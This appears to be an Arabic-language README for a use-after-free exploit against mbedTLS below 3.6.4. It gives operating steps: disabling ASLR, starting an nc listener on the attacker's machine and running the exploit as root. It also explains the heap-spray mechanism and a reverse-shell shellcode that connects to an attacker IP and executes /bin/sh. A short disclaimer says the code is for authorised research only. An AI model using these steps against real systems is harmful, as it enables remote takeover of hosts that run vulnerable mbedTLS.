1. نظام التشغيل: Linux (تم اختباره على Kali Linux)

2. صلاحيات الجذر: مطلوبة لتعطيل ASLR وتنفيذ الشيل كود المحقون

3. مكتبات تطوير mbedTLS (mbedTLS < 3.6.4):

   root@kitploit:~

   sudo apt update
   sudo apt install -y libmbedtls-dev
   

4. أدوات البناء: gcc، make (اختياري)

الترجمة (Compilation)

اضبط مسارات الـ include والمكتبات وفقًا لطريقة تثبيتك:

الاستخدام

1. عطّل ASLR (التوزيع العشوائي لمساحة العنوان):

   root@kitploit:~

   echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
   

2. جهّز مستمعًا للـ reverse shell على جهاز المهاجم (المنفذ 4454):

   root@kitploit:~

   nc -lvnp 4454
   

3. شغّل الاستغلال بصلاحيات الجذر:

   root@kitploit:~

   sudo ./exploit_UAF
   

آلية الاستغلال

1. فحص ASLR: checkAslr() يقرأ /proc/sys/kernel/randomize_va_space للتأكد من تعطيل ASLR. يخرج إذا كان مفعّلًا.
2. الاستدعاء الأول لـ mbedtls_x509_string_to_names(): يقوم بتهيئة قائمة بيانات مسماة فارغة.
3. حقن الكومة (Heap Spray): paddingChunk() يخصص العديد من البنى المزيفة لـ named-data لملء إدخالات القائمة الحرة بمحتوى يتم التحكم فيه ويشير إلى الشيل كود.
4. الاستدعاء الثاني لـ mbedtls_x509_string_to_names(): يطلق حالة الاستخدام بعد التحرير، ويعيد استخدام القطعة المحررة التي تحتوي على بيانات وصفية مزيفة.
5. حقن الشيل كود: يتم تعيين الشيل كود كـ RWX عبر mmap()، ثم نسخه وتنفيذه من خلال مؤشر named_data->val.p التالف.

شيل كود الـ Reverse Shell

• عنوان IP الهدف: 192.168.92.187
• المنفذ الهدف: 4454

ينفذ الشيل كود تسلسل socket + connect + dup2، ثم execve("/bin/sh").

إخلاء المسؤولية الأخلاقي والقانوني

• هذا الكود مقدّم لأغراض البحث الأمني المصرّح به والتعليم فقط.
• الاستخدام غير المصرّح به ضد أنظمة لا تملك إذنًا صريحًا بها غير قانوني وغير أخلاقي.
• احصل دائمًا على إذن كتابي قبل الاختبار على أي شبكة أو مضيف.

الترخيص

MIT